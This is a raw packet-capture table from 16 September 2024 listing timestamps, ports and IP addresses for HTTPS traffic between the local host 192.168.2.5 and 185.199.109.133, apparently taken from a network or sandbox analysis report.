Sep 16, 2024 08:23:33.090796947 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090832949 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090845108 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090862036 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.090954065 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.090966940 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091027021 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091048956 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091090918 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091151953 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091151953 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091151953 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091175079 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091178894 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091231108 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091249943 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091288090 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091299057 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091327906 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091346979 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091368914 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091407061 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091408014 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091427088 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091430902 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091454983 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091499090 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091499090 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091506004 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091530085 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091564894 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091567993 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091583967 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091594934 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091624022 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091624022 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091643095 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091655016 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091682911 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091684103 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091736078 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091742039 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091758966 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091797113 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091799021 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091819048 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091830969 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091860056 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091876030 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.091937065 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.091952085 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092164040 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092210054 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092226982 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092241049 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092267990 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092288971 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092334986 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092375994 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092400074 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092411995 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092439890 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092509031 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092552900 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092566967 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092581987 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092617035 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092637062 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092711926 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092752934 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092775106 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092787027 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092813969 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092832088 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092886925 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092926025 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092947960 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.092959881 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.092986107 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093008041 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093060017 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093112946 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093133926 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093153954 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093182087 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093182087 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093206882 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093245029 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093285084 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093307018 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093318939 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093344927 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093365908 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093413115 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093452930 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093478918 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093492031 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093521118 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093540907 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093575001 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093617916 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093642950 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093660116 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093684912 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093684912 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093708992 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093750000 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093787909 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093812943 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093825102 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093851089 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.093951941 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.093997002 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094017029 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094029903 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094055891 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094074965 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094125032 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094163895 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094187021 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094197989 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094224930 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094296932 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094342947 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094357967 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094371080 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094400883 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094419003 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094474077 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094513893 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094537973 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094548941 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094574928 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094643116 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094690084 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094708920 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094722986 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094748974 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094769955 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094826937 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094868898 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094892979 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094906092 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.094933033 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.094983101 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095025063 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095040083 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095053911 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095081091 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095108986 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095160961 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095206022 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095221996 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095235109 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095261097 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095282078 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095336914 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095379114 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095410109 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095427990 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095441103 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095479012 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095592022 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095637083 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095659971 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095671892 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095699072 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095720053 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095762014 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095813990 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095843077 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095860004 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095884085 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095884085 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.095949888 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.095993042 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096012115 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096026897 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096056938 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096077919 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096118927 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096159935 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096184969 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096196890 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096225023 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096242905 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096290112 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096329927 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096353054 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096370935 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096395016 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096395016 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096482038 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096524000 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096565008 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096582890 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096606970 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096654892 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096692085 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096716881 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096729994 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096760035 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096831083 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096874952 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096892118 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096905947 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.096934080 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.096951008 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097007990 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097049952 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097074986 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097086906 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097115993 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097170115 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097212076 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097230911 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097244024 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097270012 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097290039 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097337008 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097377062 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097398043 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097409010 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097435951 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097505093 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097544909 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097568035 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097580910 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097608089 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097626925 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097676992 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097714901 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097738028 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097749949 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097774982 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097848892 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097892046 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097907066 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097920895 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.097946882 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.097976923 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098021030 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098059893 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098086119 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098103046 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098128080 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098191023 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098232031 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098249912 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098263979 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098294973 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098315001 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098362923 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098412991 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098436117 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098448992 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098478079 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098572969 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098614931 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098628044 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098648071 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098679066 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098705053 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098782063 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098820925 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098844051 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098855972 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.098881960 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098901987 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.098980904 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099025011 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099042892 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099056005 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099081039 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099173069 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099215984 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099251986 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099270105 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099293947 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099361897 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099414110 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099431992 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099442005 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099467039 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099495888 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099525928 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099526882 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099611044 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099653006 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099674940 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099693060 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099718094 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099718094 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099781036 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099826097 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099839926 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099841118 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099854946 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.099883080 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099901915 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.099963903 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100003004 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100029945 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.100042105 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100066900 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.100086927 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.100136042 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100172997 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100198984 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.100210905 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100341082 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100469112 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100487947 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100502968 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.100517988 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100547075 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.100572109 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.100640059 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100682974 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100702047 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.100716114 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100742102 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.100820065 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100858927 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100882053 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.100895882 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.100922108 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.100986958 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.101028919 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.101049900 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.101063013 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:33.101090908 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:33.101166010 CEST	443	49734	185.199.109.133	192.168.2.5
